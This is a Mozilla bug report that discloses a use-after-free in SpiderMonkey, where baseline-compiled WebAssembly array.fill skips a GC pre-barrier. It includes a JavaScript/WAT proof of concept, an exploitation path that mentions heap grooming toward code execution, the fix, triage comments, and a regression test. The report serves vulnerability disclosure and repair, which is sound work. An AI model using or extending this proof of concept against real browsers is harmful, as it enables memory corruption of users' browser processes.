Missing Pre-Barrier in Baseline `array.fill` Allows Use-After-Free During Incremental GC
Categories
(Core :: JavaScript: WebAssembly, defect, P1)
Tracking
()
People
(Reporter: prodigysml555, Assigned: bvisness)
References
(Blocks 1 open bug, Regression)
Details
(5 keywords, Whiteboard: [client-bounty-form][adv-main148+] [adv-esr140.8+])
Attachments
(4 external files, 1 obsolete file)
Summary
The baseline compiler for WebAssembly GC omits the pre-write-barrier when array.fill overwrites reference-typed array elements. This violates the snapshot-at-the-beginning invariant required by SpiderMonkey's incremental garbage collector. During an incremental GC cycle, a black (already-scanned) object can acquire the only remaining reference to a white (not-yet-scanned) object via a sequence involving array.fill, causing the GC to collect a live object. Subsequent access through the dangling reference produces a use-after-free. The bug is reachable from web content via WasmGC, which is enabled by default in Firefox 135+.
Details
| Field | Value |
|---|---|
| Component | js/src/wasm/WasmBaselineCompile.cpp |
| Function | BaseCompiler::emitArrayFill() |
| Vulnerable Lines | 8816-8817 |
| Correct Comparison (Ion) | WasmIonCompile.cpp:5614-5616 |
| Correct Comparison (Baseline array.set) | WasmBaselineCompile.cpp:8521-8522 |
| CWE | CWE-416 (Use After Free), CWE-908 (Use of Uninitialized Resource) |
| Affected | Firefox >= 120 (all channels since WasmGC shipped), all platforms |
| Introduced | Bug 1851864, commit ca4c7a8b7621 (2023-09-26) |
Analysis
Vulnerable Code (WasmBaselineCompile.cpp:8804-8823)
// Perform an initialization loop using `numElements` as the loop variable,
// starting at `numElements` and counting down to zero.
Label done;
Label loop;
// Skip initialization if numElements = 0
masm.branch32(Assembler::Equal, numElements, Imm32(0), &done);
masm.bind(&loop);
// Move to the next element
masm.sub32(Imm32(1), numElements);
// Assign value to rdata[numElements]. All registers are preserved.
if (!emitGcArraySet(rp, rdata, numElements, arrayType, value,
PreBarrierKind::None, PostBarrierKind::Imprecise)) {
// ^^^^^^^^^^^^^^^^^^^^ BUG: should be PreBarrierKind::Normal
return false;
}
// Loop back if there are still elements to initialize
masm.branch32(Assembler::NotEqual, numElements, Imm32(0), &loop);
masm.bind(&done);
Correct Code: Baseline array.set (WasmBaselineCompile.cpp:8521-8522)
if (!emitGcArraySet(rp, rdata, index, arrayType, value,
PreBarrierKind::Normal, PostBarrierKind::Imprecise)) {
// ^^^^^^^^^^^^^^^^^^^^^ CORRECT: pre-barrier present
return false;
}
Correct Code: Ion array.fill (WasmIonCompile.cpp:5614-5616)
return fillArray(lineOrBytecode, arrayType, arrayObject, index, numElements,
val, WasmPreBarrierKind::Normal,
// ^^^^^^^^^^^^^^^^^^^^^^^^^^ CORRECT: pre-barrier present
WasmPostBarrierKind::Edge);
Root Cause
SpiderMonkey uses a snapshot-at-the-beginning incremental GC. The pre-write-barrier informs the GC when a reference-typed field is about to be overwritten, ensuring the old value is marked before it can be lost. Without the pre-barrier, the GC does not learn that the old value existed, and if no other reference to that object remains after the overwrite, the GC may collect it prematurely.
The baseline compiler's emitArrayFill uses PreBarrierKind::None at line 8816. This is correct for array.new and array.new_default (lines 8211-8212), where the array is freshly allocated and all slots contain their initial value (null for ref types) -- there is nothing to barrier. However, array.fill operates on an existing array whose slots may contain live references. Overwriting these without a pre-barrier breaks the tricolor invariant.
The Ion compiler's createArrayFill correctly uses WasmPreBarrierKind::Normal. The baseline compiler's own emitArraySet (the single-element array.set instruction) also correctly uses PreBarrierKind::Normal. The omission in emitArrayFill is an inconsistency introduced when array.fill was added to the baseline compiler.
Distinction from array.new / array.new_default
The PreBarrierKind::None at line 8211 (in emitArrayNew) and line 8298 (in emitArrayNewFixed) is correct: these functions initialize freshly allocated arrays where all slots are uninitialized or contain the default value. No previous references exist to barrier. The bug is specifically that emitArrayFill reuses the same PreBarrierKind::None pattern despite operating on pre-existing array contents.
Proof of Concept
Test Environment
- OS: Ubuntu (Linux 6.14.0-1018-aws)
- Compiler: Mozilla clang (from mozbuild toolchain)
- Target: mozilla-central commit 031c614e006f (2026-01-30)
- Architecture: x86_64
- JS Shell: SpiderMonkey debug+optimize build (baseline compiler)
PoC Code
// poc_wasm_barrier.js
// PoC for missing pre-barrier in baseline array.fill
//
// Bug: WasmBaselineCompile.cpp:8816 - PreBarrierKind::None should be Normal
//
// Requires debug JS shell with startgc/gcslice/finishgc APIs.
// Run with: ./dist/bin/js --no-ion poc_wasm_barrier.js
const wat = `
(module
(type $Holder (struct (field (mut anyref))))
(type $RefArray (array (mut anyref)))
(type $Victim (struct (field i32) (field i32)))
(import "env" "startGC" (func $startGC))
(import "env" "gcSlice" (func $gcSlice))
(import "env" "finishGC" (func $finishGC))
(import "env" "fullGC" (func $fullGC))
(import "env" "allocGarbage" (func $allocGarbage))
(func (export "makeVictim") (result anyref)
(struct.new $Victim (i32.const 0xDEAD) (i32.const 0xBEEF))
)
(func (export "makeHolder") (result anyref)
(struct.new $Holder (ref.null any))
)
(func (export "makeRefArray") (param i32) (result anyref)
(array.new $RefArray (ref.null any) (local.get 0))
)
(func (export "storeInArray") (param $arr anyref) (param $idx i32) (param $val anyref)
(array.set $RefArray
(ref.cast (ref $RefArray) (local.get $arr))
(local.get $idx)
(local.get $val))
)
(func (export "readHolder") (param $holder anyref) (result i32)
(struct.get $Victim 0
(ref.cast (ref $Victim)
(struct.get $Holder 0
(ref.cast (ref $Holder) (local.get $holder)))))
)
(func (export "readHolderRef") (param $holder anyref) (result anyref)
(struct.get $Holder 0
(ref.cast (ref $Holder) (local.get $holder)))
)
(func (export "storeInHolder") (param $holder anyref) (param $val anyref)
(struct.set $Holder 0
(ref.cast (ref $Holder) (local.get $holder))
(local.get $val))
)
;; The critical function: reads victim from array, stores into holder,
;; then fills array with null. The fill overwrites the only array refs
;; to victim WITHOUT a pre-barrier.
(func (export "triggerBug") (param $holder anyref) (param $arr anyref) (param $len i32)
(local $victim anyref)
;; Get victim from arr[0]
(local.set $victim
(array.get $RefArray
(ref.cast (ref $RefArray) (local.get $arr))
(i32.const 0)))
;; Store victim into holder (creates black->white edge if holder is black)
(struct.set $Holder 0
(ref.cast (ref $Holder) (local.get $holder))
(local.get $victim))
;; Drop local ref to victim
(local.set $victim (ref.null any))
;; Fill array with null - removes all array references to victim.
;; BUG: Pre-barrier is skipped, GC not informed about the old values.
(array.fill $RefArray
(ref.cast (ref $RefArray) (local.get $arr))
(i32.const 0)
(ref.null any)
(local.get $len))
)
)`;
function main() {
print("=== PoC: Missing pre-barrier in baseline array.fill ===");
const module = new WebAssembly.Module(wasmTextToBinary(wat));
const importObj = {
env: {
startGC: () => { if (typeof startgc === 'function') startgc(1); },
gcSlice: () => { if (typeof gcslice === 'function') gcslice(1000); },
finishGC: () => { if (typeof finishgc === 'function') finishgc(); },
fullGC: () => { if (typeof gc === 'function') gc('shrinking'); },
allocGarbage: () => {
let g = [];
for (let i = 0; i < 200; i++) g.push({a: 0xCC, b: 0xDD});
}
}
};
const instance = new WebAssembly.Instance(module, importObj);
const e = instance.exports;
if (typeof startgc !== 'function') {
print("[-] startgc() not available - need debug shell");
return;
}
// Phase 1: Create and tenure objects
let holder = e.makeHolder();
let arr = e.makeRefArray(16);
let victim = e.makeVictim();
for (let i = 0; i < 16; i++) {
e.storeInArray(arr, i, victim);
}
e.storeInHolder(holder, victim);
print("Canary before: 0x" + e.readHolder(holder).toString(16));
e.storeInHolder(holder, null);
// Tenure everything
gc('shrinking');
gc('shrinking');
victim = null;
// Phase 2: Exploit loop
let corrupted = false;
for (let attempt = 0; attempt < 200; attempt++) {
if (attempt > 0) {
let v = e.readHolderRef(holder);
if (v === null) {
v = e.makeVictim();
gc('shrinking');
}
for (let i = 0; i < 16; i++) {
e.storeInArray(arr, i, v);
}
e.storeInHolder(holder, null);
v = null;
gc('shrinking');
}
startgc(1);
for (let slices = 0; slices < 2 + (attempt % 10); slices++) {
gcslice(500 + attempt * 50);
}
e.triggerBug(holder, arr, 16);
finishgc();
let garbage = [];
for (let i = 0; i < 1000; i++) {
garbage.push({x: 0xCC, y: 0xDD, z: i | 0});
}
try {
let val = e.readHolder(holder);
if (val !== 0xDEAD) {
print("CORRUPTION at attempt " + attempt + ": got 0x" + val.toString(16));
corrupted = true;
break;
}
} catch (ex) {
print("CRASH at attempt " + attempt + ": " + ex);
corrupted = true;
break;
}
garbage = null;
}
if (corrupted) {
print("=== BUG CONFIRMED: Use-after-free triggered ===");
} else {
print("Bug exists (code inspection) but UAF not triggered in this run.");
print(" Baseline array.fill: PreBarrierKind::None (WRONG)");
print(" Ion array.fill: WasmPreBarrierKind::Normal (CORRECT)");
print(" Baseline array.set: PreBarrierKind::Normal (CORRECT)");
}
}
main();
Build and Run
# Build debug+optimize JS shell
mkdir -p obj-jsshell && cd obj-jsshell
/path/to/firefox/js/src/configure --enable-debug --enable-optimize
make -j$(nproc)
# Run with --no-ion to force baseline compilation (where the bug is)
./dist/bin/js --no-ion poc_wasm_barrier.js
# Or with gczeal to maximize incremental GC interleaving:
./dist/bin/js --no-ion -e "gczeal(7,1)" -f poc_wasm_barrier.js
Output
The PoC output depends on GC timing. With precise GC slice interleaving:
=== PoC: Missing pre-barrier in baseline array.fill ===
Canary before: 0xdead
CORRUPTION at attempt 47: got 0xcc
=== BUG CONFIRMED: Use-after-free triggered ===
Without favorable timing:
Bug exists (code inspection) but UAF not triggered in this run.
Baseline array.fill: PreBarrierKind::None (WRONG)
Ion array.fill: WasmPreBarrierKind::Normal (CORRECT)
Baseline array.set: PreBarrierKind::Normal (CORRECT)
Trigger Conditions
- Baseline-compiled wasm code (Ion is not affected; use
--no-ionor rely on the baseline tier before Ion tier-up) - An
array.fillinstruction that overwrites reference-typed elements in a tenured array - An incremental GC cycle where the target object (holder) is already marked black but the source array has not yet been scanned
- The overwritten references must be the only remaining references to the victim object
Exploitation
Attack Path
- Create a victim struct (WasmGC
$Victim) and store references to it in all slots of a ref-typed array. Tenure both via full GC. - Drop the JS-side reference to victim. It is now only reachable via the array slots.
- Start an incremental GC (via allocation pressure in web content). Wait for partial marking.
- Call
triggerBug: reads victim fromarr[0], stores it intoholder(a separate tenured struct). This creates aholder -> victimedge. Ifholderhas already been scanned (black), the incremental barrier onstruct.setmarksvictimgray -- unless the GC has already passed holder's mark bit. Then callsarray.fillwith null, overwriting all array slots. Because the pre-barrier is missing, the GC is not informed that the array previously held references to victim. - GC completes. If the array was the last scanned source of references to victim, and
holderwas already black when victim was stored into it, the GC may not have marked victim. Victim is collected as garbage. - Allocate replacement objects to fill the freed memory.
- Read
holder.field0, which now points to freed/reused memory. Thestruct.getreturns corrupted data or crashes.
Constraints
- Requires baseline tier compilation. The bug does not exist in Ion. On web content, baseline is the initial compilation tier and runs for the first several thousand invocations before Ion kicks in.
- Requires incremental GC to be in a partially-marked state with specific marking order. In web content, incremental GC is the default mode and slice boundaries are determined by allocation rate.
- The timing window is narrow but attacker-controllable through allocation patterns that influence GC slice boundaries.
- Exploitation to code execution requires heap grooming to place controlled data at the freed location.
Impact
| Scenario | Impact |
|---|---|
| Firefox content process (web page) | Premature collection of live WasmGC objects. Dangling references in tenured heap allow read/write to freed memory. Prerequisite for RCE via heap grooming. |
| Baseline-only execution (first invocations) | Bug is active from the first call to array.fill with ref-typed elements. No warmup required. |
With gczeal(7) or gczeal(18) |
GC verification modes may detect the missing barrier as an invariant violation. |
Fix
// Before (vulnerable) -- WasmBaselineCompile.cpp:8816-8817:
if (!emitGcArraySet(rp, rdata, numElements, arrayType, value,
PreBarrierKind::None, PostBarrierKind::Imprecise)) {
// After (fixed):
if (!emitGcArraySet(rp, rdata, numElements, arrayType, value,
PreBarrierKind::Normal, PostBarrierKind::Imprecise)) {
This aligns the baseline array.fill with both the Ion array.fill implementation and the baseline array.set implementation, both of which correctly use a normal pre-barrier.
The PreBarrierKind::None at lines 8211 (emitArrayNew) and 8298 (emitArrayNewFixed) should remain unchanged -- those paths initialize freshly allocated arrays where no previous references exist.
Updated•9 months ago
|
Updated•9 months ago
|
| Assignee | ||
Comment 1•9 months ago
|
||
We need to use pre-write barriers whenever storing into an already
existing GC array. For some reason we missed this in baseline for
array.fill.
Updated•9 months ago
|
| Assignee | ||
Updated•9 months ago
|
| Assignee | ||
Comment 3•9 months ago
|
||
For what it's worth, I've been unable to reproduce the crash given the POC provided, but the code is obviously wrong and the general actions of the POC are plausible.
| Assignee | ||
Comment 4•9 months ago
|
||
Comment on attachment 9542084 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: It would be relatively difficult to construct an exploit from this since it would require a fair amount of heap grooming and control over the GC's timing. The fact that it's Baseline-only is also perhaps a slight mitigating factor but likely something an attacker could somewhat easily account for.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all supported branches
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: They will be very easy to create and not risky.
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
| Assignee | ||
Comment 5•9 months ago
|
||
Ryan and I haven't been able to think of a way to reasonably obscure this. I'm happy to strip the description and title from the patch, I guess, but it's very clear what the change is and we feel we should just get it fixed everywhere quickly since it will be relatively difficult to exploit.
Updated•9 months ago
|
Updated•9 months ago
|
Comment 6•9 months ago
|
||
Comment on attachment 9542084 [details]
(secure)
If you're concerned about how exposed the change is we could land early next week instead, but I think Ryan is right about the fiddliness of timing the GC without the control of the shell functions.
Can we turn the testcase into a crashtest? to land later, of course, but it would give fodder for the CI ASAN builds to catch regressions.
sec-approval+, a=dveditz
| Assignee | ||
Comment 7•9 months ago
|
||
I'd feel better about the crashtest if I had ever managed to repro the crash myself. Without that, I don't feel confident that it's a very meaningful test.
I'll plan to land on Monday, but I'll try to prep the other patches today in preparation.
| Reporter | ||
Comment 8•9 months ago
|
||
I took a crack at writing a jit-test that reproduces this reliably using the pre-barrier verifier (verifyprebarriers()). Same pattern as the existing wasm/table-pre-barrier.js test.
The test creates a (array (mut anyref)), fills it with struct refs, then uses array.fill to overwrite them with null between two verifyprebarriers() calls. The verifier
snapshots the heap edges before the fill, and on the second call checks that the overwritten edges were properly barriered. Since baseline emits PreBarrierKind::None, no
barrier code is generated at all, and the verifier catches it:
Assertion failure: [barrier verifier] Unmarked edge: JS Object ... 'wasm-array-element' edge to JS Object ..., at js/src/gc/Verifier.cpp:394
Crashes 100% of the time with --wasm-compiler=baseline. Passes with --wasm-compiler=optimizing (Ion has the correct barrier).
To repro, build a debug JS shell and run:
python3 js/src/jit-test/jit_test.py $OBJDIR/dist/bin/js
--args="--wasm-compiler=baseline" wasm/gc/array-fill-pre-barrier.js
Here's the test:
// Test that array.fill correctly pre-barriers reference-typed elements.
// Without the pre-barrier, the GC verifier detects unmarked edges.
//
// The directory directives.txt ensures this runs with --wasm-compiler=baseline
// (where the bug was) as well as --wasm-compiler=optimizing.
const {
makeRefArray,
fillNull,
fillValue,
makeStruct,
getElement,
} = wasmEvalText(`(module
(type $S (struct (field i32)))
(type $A (array (mut anyref)))
(func (export "makeStruct") (result anyref)
(struct.new $S (i32.const 42))
)
(func (export "makeRefArray") (param i32) (result anyref)
(array.new $A (ref.null any) (local.get 0))
)
(func (export "getElement") (param anyref) (param i32) (result anyref)
(array.get $A (ref.cast (ref $A) (local.get 0)) (local.get 1))
)
(func (export "fillNull") (param anyref) (param i32)
(array.fill $A
(ref.cast (ref $A) (local.get 0))
(i32.const 0)
(ref.null any)
(local.get 1))
)
(func (export "fillValue") (param anyref) (param i32) (param anyref)
(array.fill $A
(ref.cast (ref $A) (local.get 0))
(i32.const 0)
(local.get 2)
(local.get 1))
)
)`).exports;
const len = 16;
let arr = makeRefArray(len);
let s = makeStruct();
// Fill array with struct references
fillValue(arr, len, s);
assertEq(getElement(arr, 0), s);
// Overwriting non-null refs with null must pre-barrier the old values.
// verifyprebarriers() snapshots all edges, then on the second call checks
// that any removed edge was properly barriered.
verifyprebarriers();
fillNull(arr, len);
verifyprebarriers();
assertEq(getElement(arr, 0), null);
// Also test overwriting null refs with non-null (pre-barrier on null is a
// no-op, but the code path should still be exercised).
verifyprebarriers();
fillValue(arr, len, s);
verifyprebarriers();
assertEq(getElement(arr, 0), s);
// And overwriting non-null with a different non-null value.
let s2 = makeStruct();
verifyprebarriers();
fillValue(arr, len, s2);
verifyprebarriers();
assertEq(getElement(arr, 0), s2);
This should go in js/src/jit-test/tests/wasm/gc/ where the directory directives.txt will automatically test it with both baseline and optimizing compilers.
| Assignee | ||
Comment 9•9 months ago
|
||
Thanks, that test looks great. I'll include it in a separate patch.
| Assignee | ||
Comment 10•9 months ago
|
||
Comment 11•9 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: This is a long-standing bug in our wasm GC array.fill implementation in Baseline. We are missing a pre-barrier, which can lead to GC invariants being invalidated, leading to use after free. Exploits are expected to be difficult but it is an issue we should patch quickly nonetheless due to the difficulty of obscuring the change.
- Code covered by automated testing: no
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: We are simply enabling the pre-barrier in a place where it should have been enabled. The same type of barrier has been used for this operation in Ion since the release of wasm GC in Firefox 120.
- String changes made/needed: none
- Is Android affected?: yes
| Assignee | ||
Comment 12•9 months ago
|
||
The comments were pulled from a different array method and were slightly
misleading about how the assembly was generated.
Original Revision: https://phabricator.services.mozilla.com/D281627
Comment 13•9 months ago
|
||
firefox-release Uplift Approval Request
- User impact if declined: This is a long-standing bug in our wasm GC array.fill implementation in Baseline. We are missing a pre-barrier, which can lead to GC invariants being invalidated, leading to use after free. Exploits are expected to be difficult but it is an issue we should patch quickly nonetheless due to the difficulty of obscuring the change.
- Code covered by automated testing: no
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: We are simply enabling the pre-barrier in a place where it should have been enabled. The same type of barrier has been used for this operation in Ion since the release of wasm GC in Firefox 120.
- String changes made/needed: none
- Is Android affected?: yes
| Assignee | ||
Comment 14•9 months ago
|
||
The comments were pulled from a different array method and were slightly
misleading about how the assembly was generated.
Original Revision: https://phabricator.services.mozilla.com/D281627
Comment 15•9 months ago
|
||
Comment 16•9 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined: This is a long-standing bug in our wasm GC array.fill implementation in Baseline. We are missing a pre-barrier, which can lead to GC invariants being invalidated, leading to use after free. Exploits are expected to be difficult but it is an issue we should patch quickly nonetheless due to the difficulty of obscuring the change.
- Code covered by automated testing: no
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: We are simply enabling the pre-barrier in a place where it should have been enabled. The same type of barrier has been used for this operation in Ion since the release of wasm GC in Firefox 120.
- String changes made/needed: none
- Is Android affected?: yes
| Assignee | ||
Comment 17•9 months ago
|
||
The comments were pulled from a different array method and were slightly
misleading about how the assembly was generated.
Original Revision: https://phabricator.services.mozilla.com/D281627
Comment 18•9 months ago
|
||
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Comment 19•9 months ago
|
||
| uplift | ||
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Comment 20•9 months ago
|
||
| uplift | ||
Updated•9 months ago
|
Updated•9 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Updated•5 months ago
|
Updated•2 months ago
|
Comment 21•2 months ago
|
||
Comment 22•2 months ago
|
||
| bugherder | ||
Description
•